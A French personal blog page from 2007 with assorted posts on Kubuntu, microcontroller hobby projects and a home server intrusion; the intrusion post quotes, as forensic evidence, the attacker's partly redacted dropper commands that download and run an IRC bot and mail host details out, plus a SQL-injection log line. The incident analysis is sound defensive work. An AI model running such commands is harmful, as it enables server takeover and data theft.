KubuntuBlog

La faculté de citer est un substitut commode à l'intelligence. Sommerset Maugham

Aller au contenu | Aller au menu | Aller à la recherche

jeudi 8 février 2007

Est-ce bien raisonnable ?

Je n'en suis pas sur. Mais bon, l'occasion fait le larron.

Le transport a été ... sportif ! J'espère que les amortisseurs ne s'en souviendrons pas :)

Baie Baie

En tout cas je sais dans quoi je vais faire la baie de brassage et le stockage de serveur :)

Merci au généreux donnateur, il se reconnaitra.

Partenariat entre Canonical et Linspire

La société Canonical (que vous connaissez bien) et la société Linspire viennent d'annoncer conjointement un accord technique.

Linspire édite une distribution linux commerciale éponyme (ainsi qu'une version libre nommée Freespire). Son but est exclusivement le desktop et est actuellement sur base Debian. On peux aussi noter qu'ils sponsorisent (ou ont sponsorisé) plusieurs developpements libre comme Nvu.
Elle dispose aussi d'un logiciel d'installation qui se veux la manière la plus facile d'installer sous Linux[1]

L'accord comporte deux points :

  • Linspire abandonne sa base debian pour basculer sur les paquets Ubuntu
  • Ubuntu intègre la technologie CNR dans sa distribution

L'intégration se fera à partir de la 7.04 Feisty Fawn.

Pour plus de détails :

Notes

[1] perso, après avoir lu la description, je ne vois pas ce que ça amène de plus qu'un synaptic

avrDefender : un petit jeu à deux balles

Je continue à apprendre peu à peu l'utilisation de l'ATmega8 présent sur ma carte myAVR. Au programme du jour les interruptions sur timer, la gestion des entrées numériques (boutons) et surtout l'affichage sur lcd (à l'aide de la bibliothèque LCD de Peter Fleury).

Le résultat est un petit jeu à deux balles ou il faut éviter des météorites. Bon, sur un LCD de 2 lignes et 16 colonnes, les graphismes sont pas terribles :)

Je l'ai appelé avrDefender en hommage à un grand jeu !

Et si vous êtes interressés par du code cochon de quelqu'un qui débute, vous pouvez toujours aller voir.

Ubuntu est-elle prête pour le serveur ?

Je dispose chez moi d'un serveur perso. Il héberge quelques applications web, sert de sauvegarde centralisée et fait la passerelle entre le réseau filaire et wifi.
Celui-ci utilise une Ubuntu Dapper LTS en version serveur. Outre la durée de maintenance annoncée (5 ans pour la version serveur), j'ai choisit une ubuntu pour mon serveur afin de garder une cohérence sur mon parc. N'ayant qu'une seule sorte de distribution, l'administration est plus simple.

Or récemment, il a été victime d'une intrusion. En résumé, l'attaquant est passé par une faille de cacti pour installer un bot irc. Ma machine devenant alors un zombie. Si vous voulez plus de détails, vous pouvez lire mon billet Réagir à une intrusion sur un système linux

Regardons la chronologie des événements :

  • 28/12/2006 : faille critique découverte dans cacti. Elle permet l'exécution de code arbitraire
  • 06/01/2007 : publication par l'équipe de développement de patchs corrigeant cette faille. Ceux-ci sont disponibles pour les deux dernières versions dont la 0.8.6h de dapper
  • 08/01/2007 : création d'un bug dans Launchpad
  • 02/02/2007 : exploitation de la faille sur mon serveur.

Avant toute chose sachez que mon serveur est tenu à jour la nuit par un processus cron. La conclusion est simple, le paquet n'est pas tenu corrigé des mises à jours de sécurité, fussent-elles critiques !

Et bien, ceci est normal. En effet cacti fait parti de Universe et ne fait donc pas parti des paquets officiellement maintenus.

Be advised that neither the Universe or Multiverse repositories contain officially supported packages. In particular, there may not be security updates for these packages.

A noter qu'à l'heure ou j'écris, la correction ne semble pas appliquée dans Edgy[1], mais l'est dans Feisty[2]. Voir la liste des mises-à-jour

A titre de comparaison regardons debian (bug #404818 pour avoir l'historique):

  • version testing : la correction est faite dans le paquet 0.8.6i, mise à jour : 17/01
  • version stable : le patch pour la 0.8.6c n'est pas fourni par l'équipe de cacti. Mais le patch est backporté de la 0.8.6i. On peux le voir dans le diff sur cmd.php, mise à jour 17/01

Alors oui, j'aurais du le savoir, j'aurais du suivre les mises-à-jour pour mes logiciels Universe et les faire moi-même[3]. Mais je n'ai pas envie de faire un boulot d'administrateur réseau et de veille sécurité quand je suis chez moi. Je veux juste que ça marche sans trop de problèmes.

J'aurais pu aussi me passer des softs dispos dans Universe. Mais chez moi ils représentent 48 paquets sur 389 soit plus de 12%. De plus dans ces paquets Universe, on trouve Bacula, WebSvn, trac, phpMyAdmin, cacti ... Des logiciels qui sont en 1ère ligne et dont je ne veux pas me passer.

Si vous voulez faire le test chez vous[4] :

for p in $(dpkg-query -W --showformat='${Package} '); \
do \
   echo -ne "$p\t"; \
   apt-cache show --no-all-versions $p|grep "Section:"|sed 's/Section://'; \
done |tee /tmp/list
wc -l /tmp/list
grep -i universe /tmp/list | wc -l

Donc pour répondre au titre un brin provocateur de ce billet : pour mon utilisation ou je recherche un minimum d'administration pour un maximum de sécurité : NON, Ubuntu Server ne me convient plus.
KUbuntu me satisfait pleinement sur le desktop, mais je crains qu'elle ne soit pas encore à la hauteur pour les serveurs persos, sauf si vous acceptez de suivre et de patcher vous-même les failles de sécurité pour les softs qui ne sont pas dans main.

Lors de la ré-install de mon serveur pour le remettre sur le réseau, je choisirai une debian qui assure la sécurité de beaucoup plus de paquets.

Notes

[1] Des paquets sont disponibles pour Edgy dans le bug mentionné ci-desus. Pour dapper ils ne sont pas encore prêts

[2] resynchro avec les paquets debian

[3] dans l'attaque que j'ai subi, interdire l'execution dans /tmp comme préconisé par NiKo aurait pu servir, mais ca ne protège pas d'autres méthodes

[4] un simple dpkg-query -W --showformat='${Package} ${Section}' devrait suffir, mais l'information Universe n'apparaît alors pas dans la section.

mercredi 7 février 2007

Vista

Tout le monde l'a déjà vue, mais je la poste quand même.
C'est en effet tellement vrai.

mardi 6 février 2007

Lien bon la barre

Voici un petit billet de liens qui trainait dans mes brouillons depuis un moment.

  • Vous avez confiance dans les terminaux de paiement ? Vous pouvez, c'est pas demain que vous pourrez jouer comme cela avec :) . Ca ressemble pas mal à ça

lundi 5 février 2007

Réagir à une intrusion sur un systeme linux

AttentionJe viens de faire face à une intrusion. Le cracker a profité d'une faille de cacti non patchée dans ma distribution (j'y reviendrais) pour s'introduire sur mon serveur perso. Nous allons essayer d'analyser la machine pour découvrir comment il est entré.

Attention ! Je ne suis pas du tout un spécialiste en sécurité. Ce billet n'est pas une marche à suivre mais a pour but de décrire ma réaction. Ma méthode est surement criticable, n'hesitez pas à vous exprimer dans les commentaires pour corriger mes erreurs.

La découverte

Hier, lors d'un top, je remarque qu'un processus perl prends pas mal de cpu. Il semble être en rapport avec les logs d'apache. Concentré sur autre chose, je ne cherche pas plus loin.

Aujourd'hui lors d'un nouveau top le même processus prends toujours de la cpu. Ayant 5 minutes devant moi, je décide de voir un peu plus loin. Bien m'en prends puisque je découvre bien vite une incohérence ! Dans le top, je vois un processus perl, mais dans un ps, le pid est associé à un fichier /usr/sbin/apache/log qui n'existe pas ! L'inquiétude monte.

Un petit tour dans /tmp ou je découvre des fichiers que je n'y ai jamais vu : go.jpg et go qui est un script shell :

#/bin/bash
cd /var/tmp;wget http://xxxx.xx.uk/bad.jpg;tar zxvf bad.jpg;rm -rf bad.jpg;
cd .u;wget http://xxxx.xx.uk/b0t.jpg;perl b0t.jpg

La, plus de doutes ! Ma machine est compromise. Surtout ne pas se laisser submerger par la panique. Ne pas couper l'interface réseau.
Première chose : sauvegarder toutes les traces et logs possibles et étudier un peu ce qui se passe. Bacula-wxHeureusement je suis tranquille pour mes données, gràce à Bacula je sauvegarde toutes les nuits.

La prise d'informations

Pour commencer, il faut capturer le traffic réseau histoire de voir ce qu'il fait. Je ferme donc toutes les applications autorisées du reseau local pour ne pas polluer la capture. Ensuite tcpdump :

sudo tcpdump -v -i ra0 -s 4096 -w /montage/nfs/ra0.raw

Cette commande capture les paquets sur l'interface ra0 (l'exterieur chez moi) d'une taille jusqu'à 4096 octets (sinon on a que les headers) et écrit les données sur un montage nfs. On pourra facilement les exploiter plus tard à l'aide de ethereal / wireshark[1]

Ensuite récuperer les traces en recopiant mon répertoire /var/log sur un montage nfs puis de la même manière je capture au maximum l'état actuel de la machine (c'est à dire avec le Bot en fonctionnement) :

sudo tar cvf /montage/nfs/log/varlog.tar /var/log
sudo ps -ef > /montage/nfs/log/ps-ef
sudo lsof > /montage/nfs/log/lsof
sudo netstat -an > /montage/nfs/log/netstat-an
sudo strace -p 21160 > /montage/nfs/log/strace 2>&1

Voici quelques détails :

  • ps liste les processus en cours
  • lsof est très très utile, cette commande liste tous les fichiers classés par processus
  • netstat donne les informations sur les connections réseaux ouvertes et les ports écoutés
  • strace donne les appels systèmes du processus de pid 21160. Dans ce cas je n'en ai rien sorti

Une rapide analyse du lsof me donne les fichiers malicieux, je les sauvegarde aussi :

  • /var/tmp/.u/
  • /tmp/
  • /var/lib/cacti/rra/suntzu.log

Une chose me reste à l'esprit pendant toute cette phase, je ne sais pas à quel point ma machine est compromise. Dans le cas ou un gros rootkit avec keylogger est installé, je suis en train de lui donner un accès root de toute beauté !

Quand je considère cette phase terminée, je coupe les interfaces réseaux et isole la machine sans l'eteindre. Maintenant arrive la phase d'analyse des logs et du code perl du bot. J'ai deux objectifs :

  • Comment est-il entré ?
  • Quels dégats a-t-il fait chez moi et chez les autres ?

Les faits

Après analyse, voici le déroulement des faits tels que je les ai reconstitués : Vendredi à 18:43, quelqu'un a exploité une faille de cacti pour executer du code. C'est assez facile à voir dans les logs du fait de la longeur excessive de la ligne (1034 caractères) :

213.XX.XX.XXX - - [02/Feb/2007:18:43:38 +0100] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null ...

On détecte aussi un peu plus loin l'utilisation de ma machine comme proxy :(

Cette attaque provient d'une machine polonaise, une fois décodé, le code correspond à cela :

uname -a >> /tmp/out;/sbin/ifconfig |grep inet >> /tmp/out;
cat /tmp/out | mail -s xxxxxx xxxx_xxxxx@yahoo.com;
wget http://xxxxxxx.xx.uk/go.jpg -O /tmp/go.jpg;tar xzvf /tmp/go.jpg -C /tmp;
/tmp/go > ./rra/suntzu.log

Il s'est donc envoyé un mail avec les informations sur ma machine et a téléchargé et executé le script shell vu ci-dessus. Ce script a à son tour téléchargé un client irc en perl et un bot irc camouflé en httpd (ainsi qu'une autre version en bash)

Le bot irc est EnergyMech. Le client perl est issu de l'Atrix Shellbot qui semble avoir ciblé phpbb puis modifié pour mambo et maintenant pour cacti[2].

Une fois démarré, EnergyMech prend la place de apache et se met en écoute des ports 80 et 443. Quand au Shellbot, il se connecte à un serveur irc (aux USA) et se met en attente de commandes. En jetant un oeil au code, on s'apercoit qu'il peut faire à la demande :

  • du dénis de service en tcp, http, udp
  • executer toute commande sur la machine inféctée (dans la limite de ses droits bien sur)
  • chercher à infecter d'autres machines en les recherchant via google
  • ...

Il est aussi personalisable, dispose d'un système léger de droits ce qui permet d'utiliser plusieurs botnet sur le même serveur/canal irc.

etherealDans les dumps réseaux, je vois passer des commandes mais rien qui ne me soit destiné. On trouve des reponses IRC comme cela :

:xxx!xxxx@xxxxxxxxxx.xxxx.xxxxxxxx.org PRIVMSG #botzs :.ACTION brb ..pap :P.

qui restent incomprehensibles à moins d'avoir le code du client. On peux juste en extraire le pseudo du propriétaire, les bots destinataires (botzs) et l'action qui leur est demandée.

Par contre, je n'ai pas pu savoir s'il a réalisé des actions pendant sa période de présence en ligne (environ 40h). Je n'ai rien détécté dans les logs. Peut-être ai-je mal cherché.

Conclusions

Dans une certaine mesure, j'ai une part de responsabilité. Je n'ai pas maintenu mon serveur à jour. Je reviendrais la-dessus dans un prochain article.

J'ai retrouvé après coup l'article que je me souvenais avoir lu : Comment réagir (techniquement) en cas d'intrusion . J'ai presque bon. Il me manque quelques logs, la préparation et surtout la séparation des outils d'analyse de la machine infecté. Je pense que dans le cas d'un rootkit, ça ne pardonne pas. Je vous conseille d'aller lire cet article et de vous y préparer.

Les dégats semblent limités. L'attaquant est sans doute resté cantonné à l'utilisateur www et n'est pas allé plus loin (rkhunter semble me le confirmer). De plus j'ose esperer qu'en 40h il n'a pas eu le temps de faire trop de dégats à partir de ma machine.

J'ai toujours repoussé l'installation des logiciels de surveillance (IDS) je le regrette maintenant.

Je vais porter plainte même si je doute que cela apporte grand chose. A priori cela ne semble même pas évident à faire. Il faut avoir comme informations :

  • les logs bien sur
  • l'adresse physique de la machine
  • les dégats subits qui dans mon cas semblent minimes

Je ne fais plus confiance à cette machine, la re-installation complète la guette !

Notes

[1] pour la petite histoire j'avais jamais lu une page de man aussi vite pour trouver cette ligne de commande :)

[2] on le trouve assez facilement sur le reseau

vendredi 2 février 2007

Geek ?

Vu dans fcolc :

> Ca veut dire quoi un geeks?
C'est quelqu'un qui cherche dans google quand il connait pas un mot.

mardi 30 janvier 2007

myAVR : une carte de test pour microcontroleur ATmega8

Depuis peu de temps, j'ai dans l'idée de me remettre un peu à l'electronique. Comme à la base je suis plutôt un softeu[1] je suis plus attiré par l'electronique numérique qu'analogique. Donc les microcontroleurs semblent la voie royale.

Dans l'optique de me dérouiller un peu, je me suis commandé une petite carte simple qui intègre de quoi jouer avec les entrées sorties du µC. Après diverses interrogations, mon choix s'est porté vers la carte myAVR qui a l'énorme avantage d'être peu chère[2].

Elle possède de quoi s'amuser un bon moment et de découvrir en détail les possibilités des Atmel :

  • µC Atmel ATmega8
  • interface de programmation parallèle (ISP)
  • interface série
  • 2 interrupteurs pour simuler des entrées numeriques
  • 2 potentiomètres pour simuler des entrées analogiques
  • 3 LED pour le feedback visuel
  • port d'extension pour ajouter des modules additionels

Voici maintenant en quelques photos du montage :

Tout d'abord, la réception du paquet. Rapide et bien emballé. Le modèle commandé comporte la carte en kit et une extension avec un écran LCD.
La documentation fournie dans le paquet ainsi que celle dispo sur le web est par contre en Allemand ! Mais j'ai reçut par mail des notes explicatives en anglais. De plus la doc en allemand est suffisament illustrée pour ne pas avoir de problèmes lors du montage. photo photo

Mon plan de travail. Le materiel nécessaire est assez limité: un fer à souder, pince coupante et un peu de fil. Sur l'écran de gauche, vous voyez la doc de montage très bien faite. A droite, amaroK joue du Ludwig von 88, rien de mieux pour se concentrer[3]. photo

Après la première page de montage, les CI sont posés. Je ne suis pas trop mécontent de mes soudures. Monter mon switch casque/enceintes m'a permis de me refaire un peu la main. photo photo

Enfin, la carte est terminée. Il ne reste qu'a enficher le µC Atmel ATmega8 et les boutons des potentiomètres. Certaines soudures sont moins jolies, en particulier les gros patés pour la masse des connecteurs DB. photo photo

Après ceci, la phase de tests :

  • avant de brancher le µC, connecter l'alim (une pile 9V) et verifier les 5V aux endroits indiqués par le shéma
  • tester le Hello World des microcontroleurs, à savoir faire clignoter une LED :)

Malheureusement, les programmes de tests fournis sur le CD ne sont que pour windows et ne fonctionnent pas avec Wine. La procédure pour compiler et charger fera l'objet d'un article prochain. Mais vous pouvez déjà voir le clignotement de la LED dans mon billet précédent.

Notes

[1] terme plus ou moins péjoratif employé par les hardeux

[2] surtout dans sa version en kit

[3] enfin c'est mon cas

Ça clignote !

vendredi 26 janvier 2007

KDE 3.5.6

iconeUn petit post pour vous informer de la sortie récente de cette nouvelle version de KDE. Il s'agit d'une version de maintenance qui corrige juste quelques bugs et apportes des améliorations mineures. Enfin, le ChangeLog est quand même très gros :)

Les paquets sont disponibles pour Ubuntu Edgy sur la page idoine avec les explications pour l'installer. Je ne peux pas vous endire plus[1], mais les premiers retours ne semblent pas référencer de problème. Vous pouvez quand même aller jeter un oeil dans les forums avant d'installer.

Edit: Suite à une bonne remarque dans les commentaires, pensez à sauvegarder votre ~/.kde avant de faire la mise à jour.

A noter qu'il n'y aura pas de paquets pour Kubuntu Dapper. Je cite J. Riddell :

Dapper est pour ceux qui veulent une version stable, pas une version avec les derniers paquets.

Pour plus de détails, vous pouvez aller lire :

Notes

[1] Je n'ai pas de Kubuntu Edgy

mercredi 24 janvier 2007

\o/

Permis de Construire

Demande déposée le 21/07/2006

mardi 23 janvier 2007

Un switch casque / haut-parleur

Jongler entre les haut-parleurs et le casque audio n'est pas une chose toujours facile. La prise de sortie est souvent branchée à l'arrière du PC, sous la table au milieu d'un noeud gordien de câbles divers et variés. On peux envisager de déporter les branchements en façade ou d'utiliser un switch permettant de basculer de l'un à l'autre via un interrupteur. On trouve ce genre d'équipement tout prêt, mais il est beaucoup plus amusant (et moins cher) de le faire soit même.

Matériel nécessaire :

Il ne vous reste qu'à souder tout cela ensemble :

  • repérez bien le canal/fil droit et le canal/fil gauche
  • pensez à connecter le jack de gauche sur les pattes droites de l'inter, comme cela le levier sera du coté du jack actif, c'est plus clair
  • vous pouvez relier toutes les masses ensemble, comme dit Lolo : "on ne fait pas de la Hi fi'' :)
  • une 3ème main, c'est très utile
  • le fil rouge sur le bouton rouge, le fil blanc ...

Pour finir, quelques photos :

Soudures Les premières soudures sur l'interrupteur.

Test gauche Le premier test. Seule une prise est branchée, l'autre n'est pas encore soudée. On remarque le scotch pour isoler au niveau des connections de l'inter. De la gaine thermo serait sans doute plus adaptée.

Soudures Enfin, le produit fini. Certains m'ont fait des remarques sur la boîte, comme quoi cela serait la honte. Je les laisser déblatérer, celle-ci rempli parfaitement son office :) . De plus il reste de la place pour un deuxième interrupteur (pour le micro par exemple).

Voilà donc une réalisation simple et de bon goût qui me permet de me refaire un peu la main sur le fer à souder.

vendredi 19 janvier 2007

SpamClear : le retour

Je viens d'installer SpamClear v2.0[1].

Il a l'air beaucoup plus rapide et surtout dispose de deux fonctions géniales :

  • un bouton Vider tout le spam, qui en un clic efface tous les commentaires marqué spam
  • un mode de confiance qui efface automatiquement tout ce qui se fait marquer spam

Voila des fonctions qui repondent à un vrai besoin ! Avec l'entrainement actuel de mon filtre, je pense que je peux activer le mode de confiance sans problème. Je ne l'ai pas encore fait, je vais voir si cette nouvelle version se comporte toujours aussi bien et je ferais peut-être ça plus tard.

Bon, par contre chez free, c'est un peu la galère, faut effacer les répertoires à la main via ftp.

Sinon, depuis quelques jours je subis une vrai crise de spam. Des rafales de 70 spam en quelques dizaines de minutes et même sur des billets peu référencé et qui n'étaient jamais spammés. J'ai du entrer dans la base d'un furieux :)

Notes

[1] oui, je sais il est sorti depuis longtemps déjà

mardi 16 janvier 2007

Etienne, Etienne, tiens le lien !

Notes

[1] En doutiez vous encore ?

[2] oui, avec un grand H

< 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 >